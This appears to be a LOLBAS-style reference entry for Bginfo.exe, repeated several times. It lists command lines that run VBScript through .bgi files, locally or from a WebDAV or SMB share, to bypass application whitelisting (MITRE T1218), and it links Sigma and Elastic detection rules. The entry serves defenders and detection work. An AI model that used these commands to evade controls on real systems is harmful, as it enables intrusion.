Bginfo.exe

Execute VBscript code that is referenced within the specified .bgi file.

Use Local execution of VBScript

bginfo.exe {PATH:.bgi} /popup /nolicprompt

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Refs

oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/

Execute VBscript code that is referenced within the specified .bgi file.

Use Local execution of VBScript

bginfo.exe {PATH:.bgi} /popup /nolicprompt

Evidence

Upstream reference

Environment

Local host

Context

user

Native

AWL Bypass

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Refs

oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/

Execute bginfo.exe from a WebDAV server.

Use Remote execution of VBScript

\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Refs

oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/

Execute bginfo.exe from a WebDAV server.

Use Remote execution of VBScript

\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt

Evidence

Upstream reference

Environment

Local host

Context

user

Native

AWL Bypass

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Refs

oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/

This style of execution may not longer work due to patch.

Use Remote execution of VBScript

\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Refs

oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/

This style of execution may not longer work due to patch.

Use Remote execution of VBScript

\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt

Evidence

Upstream reference

Environment

Local host

Context

user

Native

AWL Bypass

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Refs

oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/